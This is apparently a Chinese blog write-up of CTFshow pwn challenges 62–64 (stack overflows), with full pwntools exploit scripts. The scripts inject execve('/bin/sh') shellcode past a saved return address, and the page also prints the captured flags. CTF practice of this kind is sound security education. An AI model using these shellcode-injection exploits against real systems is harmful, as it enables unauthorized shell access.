当前位置: 首页 > news >正文

CTFshow-PWN-栈溢出(pwn62-pwn64)

1、pwn62

检查:64 位程序,没有 canary 保护,开启 PIE保护

和前一个几乎一样,只是读入使用的是 read

这种也没法将 shellcode 完全写到 buf

老规矩我们还是写到后面

这里最多允许读入 0x38

buf 大小为 0x10,加上 rbp 8,以及返回地址 8

那么我们的 shellcode 需要控制在

0x38-0x10-8-8 = 0x18

也就是 24 字节内 

exp:

# @author:My6n
# @time:20250710
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28231)
offset = 0x10+8
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil('this : [')
buf_addr = int(io.recv(14),16)
print(hex(buf_addr)) 
payload = cyclic(offset) + p64(buf_addr+0x20) + shellcode
io.sendline(payload)
io.interactive()

拿到 flag:ctfshow{b417fcfa-3212-4b9f-8fad-db85f30dce82}

2、pwn63

shellcode 继续缩短了一字节

上一题 exp 可用,我们这个刚好 23字节

# @author:My6n
# @time:20250710
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28231)
offset = 0x10+8
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil('this : [')
buf_addr = int(io.recv(14),16)
print(hex(buf_addr)) 
payload = cyclic(offset) + p64(buf_addr+0x20) + shellcode
io.sendline(payload)
io.interactive()

拿到 flag:ctfshow{c78ffddf-3cf7-4785-a000-33d67cfadc5e} 

当然其实还可以更短

3、pwn64

32 位程序,开启 NX 保护

buf 直接给了可读可写可执行权限

后面还当成函数执行

结合题目暗示

有时候开启某种保护并不代表这条路不通

那么直接写 shellcode 进去

exp:

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28123)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

拿到 flag:ctfshow{0d297fbf-f117-4941-8d2c-dfe6aea7f81d} 

http://www.dtcms.com/a/273334.html

相关文章:

  • JAVA面试宝典 -《新潮技术:协程与响应式编程实践》
  • 【Ubuntu】编译sentencepiece库
  • next.js打包后的前端资源如何进行部署和访问,为什么没有index.html
  • Vue响应式原理六:Vue3响应式原理
  • Java 17 新特性解析:密封类与模式匹配的完美协作
  • 01背包问题总结
  • 三维旋转沿轴分解
  • AWS ECS任务角色一致性检查与自动修复工具完全指南
  • LVGL学习笔记-----进度条控件(lv_bar)
  • Java结构型模式---桥接模式
  • 什么?不知道 MyBatisPlus 多数据源(动态数据源)干什么的,怎么使用,看这篇文章就够了。
  • AI探索 | 豆包智能助手跟扣子空间(AI办公助手)有什么区别
  • Ranger框架的发展历程
  • Windows系统DLL、运行库、DirectX等DLL丢失等异常状态
  • 数组的应用示例
  • 【Python进阶篇 面向对象程序设计(7) Python操作数据库】
  • 《测试开发:从技术角度提升测试效率与质量》
  • 《Revisiting Generative Replay for Class Incremental Object Detection》阅读笔记
  • 3D lidar目标跟踪
  • PyTorch自动微分:从基础到实战
  • Linux C 文件基本操作
  • 【Java并发编程】AQS(AbstractQueuedSynchronizer)抽象同步器核心原理
  • 飞算科技:以原创技术赋能电商企业数字化转型
  • AI翻唱——So-VITS-SVC
  • ubuntu virtual box全屏
  • 无人机三叶螺旋桨概述
  • kail相关
  • Linux下PCIe子系统(二)——PCIe子系统框架详解
  • 算法练习5-原地移除数组中所有的元素
  • 多元函数的链式法则:从单变量到高维的推广